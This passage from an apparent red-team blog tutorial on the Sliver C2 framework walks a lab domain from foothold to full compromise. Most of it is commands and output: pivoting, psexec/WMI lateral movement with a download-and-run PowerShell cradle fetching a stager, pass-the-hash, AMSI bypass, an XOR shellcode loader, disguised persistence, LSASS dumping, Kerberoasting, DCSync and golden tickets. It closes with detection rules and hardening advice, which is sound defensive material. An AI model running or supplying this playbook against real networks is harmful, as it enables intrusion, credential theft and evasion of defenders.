sliver (STEALTHY_WATCHER) > portfwd add --remote 10.129.229.10:3389 --local 0.0.0.0:13389
[*] Port forwarding 0.0.0.0:13389 → 10.129.229.10:3389

# Connect from attacker
root@root$ xfreerdp /v:127.0.0.1:13389 /u:administrator /p:'Admin@123!' /dynamic-resolution +clipboard

More port forwards:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Forward WinRM
sliver (STEALTHY_WATCHER) > portfwd add --remote 10.129.229.10:5985 --local 0.0.0.0:15985
root@root$ evil-winrm -i 127.0.0.1 -P 15985 -u administrator -p 'Admin@123!'

# Forward SMB for impacket
sliver (STEALTHY_WATCHER) > portfwd add --remote 10.129.229.10:445 --local 0.0.0.0:10445

# List active port forwards
sliver (STEALTHY_WATCHER) > portfwd
 ID  Remote Address          Local Address
====  ======================  ===================
  1  10.129.229.10:3389      0.0.0.0:13389
  2  10.129.229.10:5985      0.0.0.0:15985

# Remove
sliver (STEALTHY_WATCHER) > portfwd rm --id 1

WireGuard Pivoting (VPN into Target Network)

With a WireGuard beacon, you get a full VPN-style tunnel into the target network.

1
2
3
4
5
6
7
8
9
10
11
12
# Generate WireGuard implant
[server] sliver > generate beacon --wg 10.10.14.55 --os windows --arch amd64 --save /tmp/wg_beacon.exe

# Start WireGuard listener
[server] sliver > wg --lport 51820

# After beacon checks in, set up port forward via WG tunnel
sliver (WG_BEACON) > wg-portfwd add --remote 10.129.229.10:3389
[*] WireGuard route added: 10.129.229.10:3389

# Direct RDP — no proxychains needed
root@root$ xfreerdp /v:10.129.229.10 /u:administrator /p:'Admin@123!'

Scenario 3: Lateral Movement

Goal: Move from DESKTOP-WIN11 (eliot) to DC01 (10.129.229.10)

Method 1: psexec (Built-In)

1
2
3
4
5
6
7
8
9
10
# psexec with credentials — drops service binary on target
sliver (STEALTHY_WATCHER) > psexec --hostname DC01.inlanefreight.local \
    --username administrator --password 'Admin@123!' \
    --service-name "WindowsUpdate" \
    --service-description "Windows Update Helper" \
    /tmp/COLD_MIST.exe

[*] Uploaded service binary to \\DC01\ADMIN$\COLD_MIST.exe
[*] Started service WindowsUpdate on DC01
[+] New beacon DC01_BEACON received

Method 2: PsExec via SOCKS5 + Impacket

1
2
3
4
5
6
7
8
9
10
11
12
# With SOCKS5 proxy active
root@root$ proxychains4 impacket-psexec administrator:'Admin@123!'@10.129.229.10
Impacket v0.12.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.129.229.10.....
[*] Found writable share ADMIN$
[*] Uploading file zXdfHNPx.exe
[*] Opening SVCManager on 10.129.229.10.....
[*] Creating service ... on 10.129.229.10.....
[*] Starting service .....
[!] Press help for extra shell commands
C:\Windows\system32> whoami
nt authority\system

Method 3: WMI Execution

1
2
# Execute payload on DC via WMI (no service creation)
sliver (STEALTHY_WATCHER) > execute -o "wmic /node:10.129.229.10 /user:inlanefreight\administrator /password:Admin@123! process call create 'cmd.exe /c powershell -ep bypass -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.14.55/stager.ps1\")'"

Method 4: WinRM / Evil-WinRM

1
2
3
4
5
6
7
# Through SOCKS5 proxy
root@root$ proxychains4 evil-winrm -i 10.129.229.10 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
Evil-WinRM shell v3.5
[*] Connecting to 10.129.229.10:5985
[*] Established connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
inlanefreight\administrator

Method 5: Pass-the-Hash with CrackMapExec

1
2
3
4
5
6
7
root@root$ proxychains4 crackmapexec smb 10.129.229.10 \
    -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0' \
    -x "whoami"
SMB   10.129.229.10  445  DC01  [*] Windows Server 2022 Build 20348 x64
SMB   10.129.229.10  445  DC01  [+] inlanefreight\administrator:31d6cfe... (Pwn3d!)
SMB   10.129.229.10  445  DC01  [+] Executed command via wmiexec
SMB   10.129.229.10  445  DC01  inlanefreight\administrator

Method 6: Token Impersonation + New Beacon

1
2
3
4
5
6
# List active tokens on the system
sliver (STEALTHY_WATCHER) > impersonate administrator
[*] Successfully impersonated inlanefreight\administrator

# Now spawn a beacon as the impersonated user
sliver (STEALTHY_WATCHER) > execute-shellcode --process notepad.exe /tmp/admin_beacon.bin

Beacon Object Files (BOF)

BOFs are small C programs compiled as COFF object files that execute inside the existing implant process — no new process spawned, no disk writes. Extremely OPSEC-friendly.

Install coff-loader

1
2
[server] sliver > armory install coff-loader
[*] Installing coff-loader ...

Use Built-In BOFs (via Armory aliases)

Many Armory entries are actually BOF wrappers:

1
2
3
4
5
6
7
8
9
10
11
12
13
# Credential BOFs
sliver (STEALTHY_WATCHER) > c2tc-kerbhash     # Kerberos hash extraction
sliver (STEALTHY_WATCHER) > c2tc-psc           # Process credentials
sliver (STEALTHY_WATCHER) > c2tc-psm           # Password manager extraction

# Recon BOFs
sliver (STEALTHY_WATCHER) > c2tc-domaininfo    # Domain info without spawning processes
sliver (STEALTHY_WATCHER) > c2tc-psx           # Process memory inspect

# Utility BOFs
sliver (STEALTHY_WATCHER) > c2tc-wdtoggle      # Toggle Windows Defender
sliver (STEALTHY_WATCHER) > remote-adduser     # Add local user remotely
sliver (STEALTHY_WATCHER) > remote-procdump    # Remote LSASS dump

Write a Custom BOF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# Step 1: Install cross-compiler
root@root$ sudo apt install mingw-w64 -y

# Step 2: Get beacon.h
root@root$ mkdir ~/mybof && cd ~/mybof
root@root$ wget https://raw.githubusercontent.com/TrustedSec/CS-Situational-Awareness-BOF/master/src/common/beacon.h

# Step 3: Write BOF — list running services
root@root$ cat > services_bof.c << 'EOF'
#include <windows.h>
#include "beacon.h"

DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenSCManagerA(LPCSTR, LPCSTR, DWORD);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$EnumServicesStatusA(SC_HANDLE, DWORD, DWORD, LPENUM_SERVICE_STATUSA, DWORD, LPDWORD, LPDWORD, LPDWORD);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE);

void go(char* args, int alen) {
    SC_HANDLE hSCM = KERNEL32$OpenSCManagerA(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (!hSCM) {
        BeaconPrintf(CALLBACK_ERROR, "Failed to open SCManager\n");
        return;
    }

    DWORD bytesNeeded = 0, servicesReturned = 0, resumeHandle = 0;
    ADVAPI32$EnumServicesStatusA(hSCM, SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &bytesNeeded, &servicesReturned, &resumeHandle);

    LPENUM_SERVICE_STATUSA services = (LPENUM_SERVICE_STATUSA)malloc(bytesNeeded);
    if (ADVAPI32$EnumServicesStatusA(hSCM, SERVICE_WIN32, SERVICE_STATE_ALL, services, bytesNeeded, &bytesNeeded, &servicesReturned, &resumeHandle)) {
        for (DWORD i = 0; i < servicesReturned; i++) {
            BeaconPrintf(CALLBACK_OUTPUT, "[%s] %s - %s\n",
                services[i].ServiceStatus.dwCurrentState == SERVICE_RUNNING ? "RUNNING" : "STOPPED",
                services[i].lpServiceName,
                services[i].lpDisplayName);
        }
    }
    free(services);
    ADVAPI32$CloseServiceHandle(hSCM);
}
EOF

# Step 4: Compile for x64 and x86
root@root$ x86_64-w64-mingw32-gcc -o services_bof.x64.o -c services_bof.c -masm=intel
root@root$ i686-w64-mingw32-gcc   -o services_bof.x86.o -c services_bof.c -masm=intel

# Step 5: Create extension.json
root@root$ cat > extension.json << 'EOF'
{
  "name": "services-bof",
  "version": "1.0.0",
  "command_name": "services-bof",
  "help": "Enumerate Windows services via BOF",
  "long_help": "Lists all WIN32 services and their states",
  "depends_on": "coff-loader",
  "entrypoint": "go",
  "files": [
    { "os": "windows", "arch": "amd64", "path": "services_bof.x64.o" },
    { "os": "windows", "arch": "386",   "path": "services_bof.x86.o" }
  ],
  "arguments": []
}
EOF

# Step 6: Load into Sliver
[server] sliver > extensions load /root/mybof/
[*] Extension loaded: services-bof

# Step 7: Run it
sliver (STEALTHY_WATCHER) > services-bof
[RUNNING] AdobeARMservice - Adobe Acrobat Update Service
[RUNNING] BFE - Base Filtering Engine
[STOPPED] Browser - Computer Browser
...

Evasion and OPSEC

Built-In Evasion Features

Sliver includes several evasion features by default:

1
2
3
4
5
6
7
8
9
10
11
Symbol Obfuscation:  Enabled by default (--skip-symbols to disable for speed)
                     Randomizes Go symbol names using Garble
                     Makes static analysis harder

Unique certificates: Each implant gets unique X.509 certs signed by a per-instance CA
                     Different JARM fingerprints per engagement (if certs regenerated)

No hardcoded strings: C2 server address is compiled in but obfuscated
                      Protocol constants are obfuscated

DNS Canary Tokens:   Embed fake domains in implant — if queried, you know it's being analyzed

Add DNS Canary Tokens

1
2
3
4
5
6
7
8
9
10
11
[server] sliver > generate beacon --mtls 10.10.14.55 \
    --canary analysis.microsoft-update.com \
    --canary cdn.windowsdefender.net \
    --os windows --arch amd64 --save /tmp/
[*] Canaries embedded: analysis.microsoft-update.com, cdn.windowsdefender.net

# Check if canaries were triggered (implant being analyzed)
[server] sliver > canaries
 Domain                          Implant Name        First Trigger   Latest Trigger
==============================   ==================  ==============  ==============
 analysis.microsoft-update.com   STEALTHY_WATCHER    Never           Never

If a canary fires, you know IR is analyzing your binary and you should rotate infrastructure.

Skip Symbol Obfuscation (Faster Build)

For lab/testing where speed matters:

1
2
3
[server] sliver > generate beacon --mtls 10.10.14.55 --skip-symbols --os windows --arch amd64 --save /tmp/
[!] Symbol obfuscation is DISABLED - binary may be easier to detect
[*] Build completed in 00:00:08  (vs 00:01:12 with obfuscation)

Staged Payload for AV Evasion

The staged approach keeps the initial dropper small and signature-free:

1
2
3
4
5
6
7
8
9
10
11
# Profile with skip-symbols + shellcode format (for custom loader)
[server] sliver > profiles new beacon \
    --http 10.10.14.55:8080 \
    --os windows --arch amd64 \
    --format shellcode \
    --seconds 60 --jitter 20 \
    evasion-profile

# Generate stager (tiny, clean, no Sliver signatures)
[server] sliver > stage-listener --url http://10.10.14.55:8080 --profile evasion-profile
[server] sliver > generate stager --lhost 10.10.14.55 --lport 8080 --arch amd64 --format shellcode --save /tmp/

Then use a custom shellcode loader (Go/Rust/C#) that encrypts the stager and injects it — keeping Defender from seeing raw shellcode.

Golang Shellcode Loader Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// loader.go — simple XOR-encrypted shellcode runner
package main

import (
    "os"
    "unsafe"
    "syscall"
    "encoding/hex"
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = kernel32.MustFindProc("RtlCopyMemory")
    CreateThread  = kernel32.MustFindProc("CreateThread")
    WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
)

func xorDecode(data []byte, key byte) []byte {
    result := make([]byte, len(data))
    for i, b := range data {
        result[i] = b ^ key
    }
    return result
}

func main() {
    // XOR-encoded Sliver shellcode (key: 0x41)
    encodedHex := "ENCODED_SHELLCODE_HEX_HERE"
    encoded, _ := hex.DecodeString(encodedHex)
    shellcode := xorDecode(encoded, 0x41)

    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)
    _, _, _ = RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
    WaitForSingleObject.Call(handle, 0xFFFFFFFF)
    os.Exit(0)
}
1
2
3
# Cross-compile for Windows
root@root$ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o loader.exe loader.go
root@root$ upx loader.exe  # Optional: further compress

Reflective DLL Injection (via Donut)

1
2
3
4
5
6
7
# Convert Sliver DLL implant to PIC shellcode with Donut
root@root$ pip3 install donut-shellcode
root@root$ python3 -c "
import donut
sc = donut.create(file='/tmp/DARK_FALCON.dll', arch=3)
open('/tmp/falcon_shellcode.bin','wb').write(sc)
"

In-Session AMSI/ETW Bypass

When using execute-assembly, pass AMSI/ETW bypass flags:

1
sliver (STEALTHY_WATCHER) > execute-assembly --in-process --amsi-bypass --etw-bypass /opt/Seatbelt.exe -group=All

Persistence

Method 1: Registry Run Key

1
2
3
4
5
sliver (STEALTHY_WATCHER) > registry write \
    --hive HKCU \
    --path "Software\Microsoft\Windows\CurrentVersion\Run" \
    --key "WindowsUpdateHelper" \
    --string "C:\Windows\Temp\beacon.exe"

Method 2: Scheduled Task

1
sliver (STEALTHY_WATCHER) > execute -o "schtasks /create /tn 'MicrosoftEdgeUpdate' /tr 'C:\Windows\Temp\beacon.exe' /sc DAILY /st 09:00 /ru SYSTEM /f"

Method 3: Service Installation

1
2
3
4
5
6
7
# Generate a service binary
[server] sliver > generate beacon --mtls 10.10.14.55 --format service --save /tmp/svc_beacon.exe

# Upload and install
sliver (STEALTHY_WATCHER) > upload /tmp/svc_beacon.exe C:\Windows\Temp\svc_beacon.exe
sliver (STEALTHY_WATCHER) > execute -o "sc create WindowsDefenderHelper binpath= C:\Windows\Temp\svc_beacon.exe start= auto"
sliver (STEALTHY_WATCHER) > execute -o "sc start WindowsDefenderHelper"

Method 4: WMI Subscription (Fileless Persistence)

1
2
3
4
5
6
7
8
9
10
11
12
13
# Create WMI event subscription via BOF / execute-assembly
sliver (STEALTHY_WATCHER) > execute -o powershell -c "
\$FilterArgs = @{
    Name='WindowsUpdate';
    EventNamespace='root/cimv2';
    QueryLanguage='WQL';
    Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120\"
}
\$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments \$FilterArgs
\$ConsumerArgs = @{Name='WindowsUpdate'; CommandLineTemplate='C:\Windows\Temp\beacon.exe'}
\$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments \$ConsumerArgs
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter; Consumer=\$Consumer}
"

Loot Management

Sliver tracks all collected data in a “loot” system — files, credentials, screenshots.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# View collected loot
[server] sliver > loot
 ID          Name                   Type        Size
==========   ====================   =========   ======
 abc-001     lsass_dump             file        24.3MB
 abc-002     seatbelt_output        text        142KB
 abc-003     screenshot_1           file        1.2MB
 abc-004     nanodump_lsass.dmp     file        18.1MB

# Fetch a loot item
[server] sliver > loot fetch abc-001

# Add a file to loot manually
sliver (STEALTHY_WATCHER) > download C:\Users\eliot\AppData\Roaming\Mozilla\Firefox\Profiles\*.default\logins.json
[*] Saved to loot: logins.json

Scenario 4: Full Domain Compromise Walkthrough

Goal: From low-privileged foothold on DESKTOP-WIN11 to Domain Admin on DC01

1
2
3
4
5
6
7
8
9
10
Step 1: Initial beacon received (eliot on DESKTOP-WIN11)
Step 2: Enumerate AD with SharpHound → import to BloodHound
Step 3: Find Kerberoastable service account (MSSQLSvc)
Step 4: Kerberoast → crack hash → get svc account password
Step 5: Check if svc account has local admin on any machine
Step 6: Lateral move to machine where svc account is admin
Step 7: Dump LSASS → find domain admin creds in memory
Step 8: PSExec/WMI to DC01 → full domain compromise
Step 9: DCSync → dump all domain hashes
Step 10: Golden Ticket → persistent domain access

Step 2: SharpHound + BloodHound

1
2
sliver (STEALTHY_WATCHER) > execute-assembly --in-process --amsi-bypass /opt/SharpHound.exe -c All --zipfilename enum.zip
sliver (STEALTHY_WATCHER) > download C:\Windows\Temp\20260319_enum.zip

Step 3-4: Kerberoast → Crack

1
2
3
4
sliver (STEALTHY_WATCHER) > execute-assembly --in-process --amsi-bypass /opt/Rubeus.exe kerberoast /format:hashcat /nowrap
# Copy $krb5tgs$ hash to file
root@root$ hashcat -m 13100 svc_hash.txt /usr/share/wordlists/rockyou.txt --force
# Cracked: MSSQLSvc : Service@2024!

Step 5-6: Check local admin access

1
2
3
4
root@root$ proxychains4 crackmapexec smb 10.129.229.0/24 \
    -u MSSQLSvc -p 'Service@2024!' \
    --local-auth
SMB  10.129.229.50  445  SQL01  [+] SQL01\MSSQLSvc:Service@2024! (Pwn3d!)

Step 7: Get beacon on SQL01, dump LSASS

1
2
3
4
5
6
7
8
9
# Generate new beacon, deliver to SQL01 via SMB
root@root$ proxychains4 impacket-psexec 'MSSQLSvc:Service@2024!@10.129.229.50' cmd
C:\> powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.55/stager.ps1')"
# New beacon SQL01_BEACON received

[server] sliver > use SQL01_BEACON
sliver (SQL01_BEACON) > interactive
sliver (SQL01_BEACON) > nanodump
sliver (SQL01_BEACON) > download lsass.dmp
1
2
root@root$ pypykatz lsa minidump lsass.dmp
# Found: administrator : Admin@2024Domain!

Step 8-9: DCSync

1
2
3
4
5
6
7
8
# DCSync via proxychains
root@root$ proxychains4 impacket-secretsdump 'inlanefreight.local/administrator:Admin@2024Domain!@10.129.229.10'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH_HERE:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBTGT_HASH:::
eliot:1105:aad3b435b51404eeaad3b435b51404ee:USER_HASH:::
...

Step 10: Golden Ticket

1
2
3
4
5
6
7
8
9
10
11
12
root@root$ proxychains4 impacket-ticketer \
    -nthash <KRBTGT_HASH> \
    -domain-sid <DOMAIN_SID> \
    -domain inlanefreight.local \
    administrator

root@root$ export KRB5CCNAME=administrator.ccache
root@root$ proxychains4 impacket-wmiexec -k -no-pass \
    'inlanefreight.local/administrator@DC01.inlanefreight.local'
[*] SMBv3.0 dialect used
C:\> whoami
inlanefreight\administrator

Armory Reference

The Armory is Sliver’s built-in package manager.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# List all available packages
[server] sliver > armory

# Search
[server] sliver > armory search rubeus

# Install specific package
[server] sliver > armory install Rubeus
[server] sliver > armory install SharpHound
[server] sliver > armory install nanodump
[server] sliver > armory install mimikatz
[server] sliver > armory install Certify
[server] sliver > armory install Seatbelt
[server] sliver > armory install coff-loader
[server] sliver > armory install SharpView
[server] sliver > armory install remote-adduser
[server] sliver > armory install c2tc-domaininfo

# Update all
[server] sliver > armory update

# View installed aliases/extensions
[server] sliver > aliases
[server] sliver > extensions

Key Armory Packages:

PackageCategoryUsage
RubeusKerberosTGT/TGS requests, Kerberoasting, AS-REP, Pass-the-Ticket
SeatbeltReconHost enumeration (100+ checks)
SharpHoundAD ReconBloodHound data collector
nanodumpCredentialLSASS dump (OPSEC-friendly)
mimikatzCredentialFull credential extraction
CertifyAD CSCertificate template abuse
SharpViewAD ReconPowerView port to C#
coff-loaderBOFExecute BOF extensions
c2tc-domaininfoBOF/ReconDomain info via BOF
c2tc-kerbhashBOF/CredKerberos hash via BOF
remote-adduserPersistenceAdd local admin via BOF
remote-procdumpCredentialRemote LSASS dump

Command Cheatsheet

Listeners

1
2
3
4
5
6
7
mtls                            Start mTLS listener (default port 8888)
https                           Start HTTPS listener (default port 443)
http                            Start HTTP listener (default port 80)
dns --domains c2.domain.com     Start DNS listener
wg                              Start WireGuard listener (default UDP 51820)
jobs                            List active listeners
jobs --kill <ID>                Stop a listener

Implant Generation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
generate beacon --mtls <IP>     Generate mTLS beacon EXE
generate --https <IP>           Generate HTTPS session EXE
generate beacon --dns <domain>  Generate DNS beacon
generate beacon --wg <IP>       Generate WireGuard beacon
generate ... --format shellcode Generate raw shellcode
generate ... --format shared    Generate DLL
generate ... --format service   Generate Windows service binary
generate ... --os linux         Linux ELF
generate ... --os darwin        macOS binary
generate ... --seconds 60 --jitter 20   Beacon interval settings
generate ... --skip-symbols     Disable Go obfuscation (faster build)
generate stager                 Generate small stager dropper
profiles new                    Save implant profile
profiles generate <name>        Generate from profile

Session/Beacon Management

1
2
3
4
5
6
sessions                        List active sessions
beacons                         List active beacons
use <ID>                        Interact with session/beacon
interactive                     Convert beacon → session
info                            Show implant info
kill <ID>                       Kill implant

Post-Exploitation (in-session)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
whoami                          Current user
getprivs                        Token privileges
getsystem                       Attempt SYSTEM elevation
ps                              Process list
info                            Session info
ifconfig                        Network interfaces
netstat                         Active connections
screenshot                      Take screenshot
ls / pwd / cd / cat             File system navigation
upload / download               File transfer
execute -o <cmd>                Run command, get output
shell                           Interactive shell (avoid)
migrate --pid <PID>             Migrate implant to process
execute-shellcode               Inject shellcode
execute-assembly                Run .NET assembly in-memory
registry read/write/delete      Registry ops

Pivoting

1
2
3
4
5
6
socks5 start --port 1080        SOCKS5 proxy (session only)
socks5 stop                     Stop proxy
portfwd add --remote <IP:port>  TCP port forward
portfwd rm --id <ID>            Remove port forward
portfwd                         List forwards
wg-portfwd add                  WireGuard port forward

Credentials / Loot

1
2
3
4
5
6
7
hashdump                        SAM database dump (admin)
procdump --pid <LSASS_PID>      Dump LSASS
nanodump                        Armory: OPSEC LSASS dump
mimikatz sekurlsa::logonpasswords  Full credential extract
rubeus kerberoast               Kerberoast via Rubeus
loot                            View collected loot
loot fetch <ID>                 Download loot item

Armory / BOF

1
2
3
4
5
armory install <name>           Install package
armory update                   Update all packages
aliases                         List installed aliases
extensions                      List installed extensions
extensions load <path>          Load custom extension/BOF

Detection: Blue Team Perspective

Default Sliver Network Signatures (Change These!)

ProtocolDefault PortDetection
mTLSTCP 8888Unusual TLS on non-standard port; JARM hash 00000000000000000043d43d00043de2a97eabb398317329f027c66e4c1b01
HTTPSTCP 443URL patterns: .php, .js, .html, .png, .woff with random directory paths
WireGuardUDP 51820Any WireGuard traffic from workstations
MultiplayerTCP 31337gRPC traffic on 31337
DNSUDP 53Very long subdomain labels with Base58-encoded random strings, high-frequency queries

Sysmon Detection Rules

Rule 1 — Sliver Beacon Process Spawning Sacrificial Process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
title: Potential Sliver Implant Sacrificial Process Creation
id: f1c2e3d4-5678-90ab-cdef-1234567890ab
status: experimental
description: Detects process injection pattern used by Sliver execute-assembly
tags:
  - attack.defense-evasion
  - attack.t1055
  - attack.t1059.001
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\notepad.exe'
      - '\calc.exe'
      - '\mspaint.exe'
    Image|endswith:
      - '\notepad.exe'
      - '\calc.exe'
    CommandLine|contains:
      - '-NoExit'
      - '-EncodedCommand'
  condition: selection
level: high

Rule 2 — Sliver LSASS Access

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
title: Potential Sliver nanodump/procdump LSASS Access
id: a2b3c4d5-6789-01bc-def0-234567890abc
status: experimental
tags:
  - attack.credential-access
  - attack.t1003.001
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'
      - '0x1410'
      - '0x1438'
      - '0x143a'
      - '0x1fffff'
  filter_legit:
    SourceImage|endswith:
      - '\MsMpEng.exe'
      - '\csrss.exe'
      - '\wininit.exe'
  condition: selection and not filter_legit
level: critical

Rule 3 — mTLS on Non-Standard Port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
title: Sliver mTLS C2 Non-Standard Port
id: c3d4e5f6-789a-bcde-f012-34567890abcd
status: experimental
tags:
  - attack.command-and-control
  - attack.t1573.002
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    Initiated: 'true'
    DestinationPort: 8888
    Protocol: tcp
  filter_legit:
    DestinationIp|startswith:
      - '10.'
      - '192.168.'
      - '172.16.'
  condition: selection and not filter_legit
level: high

Rule 4 — Sliver Go Binary (Large Static Binary)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
title: Large Go Binary Executed from Temp Directory
id: d4e5f6a7-89ab-cdef-0123-4567890abcde
status: experimental
description: Sliver implants are large Go binaries, often >8MB, run from temp paths
tags:
  - attack.execution
  - attack.t1059
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|contains:
      - '\Temp\'
      - '\AppData\'
      - '\ProgramData\'
    Image|endswith: '.exe'
  filter_signed:
    Signed: 'true'
  condition: selection and not filter_signed
level: medium

Splunk Queries

Query 1 — DNS C2 (Long Subdomain Labels)

index=dns
| eval label_length=len(subdomain)
| where label_length > 40
| stats count by src_ip, subdomain, query
| where count > 10
| sort -count

Query 2 — Sliver HTTPS URL Pattern

index=proxy sourcetype=squid OR sourcetype=bluecoat
(uri_path="*.php" OR uri_path="*.js" OR uri_path="*.woff" OR uri_path="*.png")
uri_path=*/*/
| where like(uri_path, "%/%/%")
| rex field=uri_path "(?<dir1>[^/]+)/(?<dir2>[^/]+)/(?<file>[^?]+)"
| eval entropy=mvcount(split(dir1,""))
| where entropy > 12
| stats count by src_ip, uri_path, dest
| sort -count

Query 3 — Unusual Port 8888 TLS

index=network dest_port=8888 transport=tcp
| stats count by src_ip, dest_ip, dest_port
| where count > 5
| sort -count

Query 4 — LSASS Access by Non-System Processes

index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=10
TargetImage="*lsass.exe"
NOT (SourceImage="*MsMpEng.exe" OR SourceImage="*csrss.exe" OR SourceImage="*wininit.exe")
| table _time, ComputerName, SourceImage, GrantedAccess, User
| sort -_time

MITRE ATT&CK Mapping

TacticIDTechniqueSliver Feature
ExecutionT1059.001PowerShellexecute -o powershell
ExecutionT1047WMIwmic via execute
PersistenceT1053.005Scheduled Taskschtasks via execute
PersistenceT1543.003Windows Serviceservice binary format
Privilege EscalationT1548.002UAC Bypassgetsystem
Defense EvasionT1055Process Injectioninject, migrate
Defense EvasionT1027Obfuscationsymbol obfuscation, Garble
Defense EvasionT1140Deobfuscate/Decodestager + XOR loader
Defense EvasionT1562.001AMSI Bypassexecute-assembly –amsi-bypass
Credential AccessT1003.001LSASS Memorynanodump, procdump
Credential AccessT1558.003KerberoastingRubeus via armory
DiscoveryT1082System Infosysinfo, execute -o systeminfo
DiscoveryT1069Group EnumerationSharpView, net commands
Lateral MovementT1021.001RDPportfwd + xfreerdp
Lateral MovementT1021.006WinRMportfwd + evil-winrm
Lateral MovementT1077SMBpsexec built-in
C2T1071.001HTTP/Shttp/https listener
C2T1071.004DNSdns listener
C2T1573.002mTLSmtls listener
C2T1572Protocol TunnelWireGuard listener
C2T1090.001SOCKS5socks5 command
ExfiltrationT1041C2 Channeldownload + loot
CollectionT1113Screenshotscreenshot command

Hardening Against Sliver

ControlMitigation
Network segmentationBlock outbound on non-standard ports (8888, 51820, 31337)
DNS filteringBlock DNS queries with base58-encoded subdomains, long labels
EDR tuningAlert on Go binaries from temp paths, large static ELF/PE
LSASS protectionEnable PPL (Protected Process Light) for lsass.exe
AppLocker/WDACBlock unsigned executables from temp/appdata paths
JA3/JARMFingerprint and block known Sliver TLS handshakes
PowerShell loggingScript block + module logging to catch in-session commands
AMSIKeep Defender/EDR patched — AMSI bypass via execute-assembly is detectable
Credential GuardEnable Windows Credential Guard to protect LSASS
Network NDRDeploy Zeek/Corelight with Sliver detection package

Summary

Sliver is one of the most capable open-source C2 frameworks available today. Its combination of:

  • 4 transport protocols (mTLS, WireGuard, HTTP/S, DNS) for flexible evasion
  • Session and beacon modes for OPSEC-tunable operations
  • Built-in pivoting (SOCKS5, port forward, WireGuard routing)
  • execute-assembly (in-memory .NET via Donut)
  • BOF support via coff-loader for OPSEC-friendly capability execution
  • Armory ecosystem with Rubeus, Seatbelt, nanodump, SharpHound, Certify

…makes it a complete red team platform capable of taking operations from initial beacon all the way through domain compromise.

The fact that APT29 (Russian SVR) has been confirmed using Sliver in real intrusions is the clearest signal that this is production-grade offensive infrastructure — not a toy framework.


Blog by Hossam Ayman Saeed (Hossam Shady) — Security Engineer / Red Teamer
Instructor @ EC-Council | CRTP | CRTA | CPTS | eCPPT | eWAPT | eJPT | HTB ProLabs

This post is licensed under CC BY 4.0 by the author.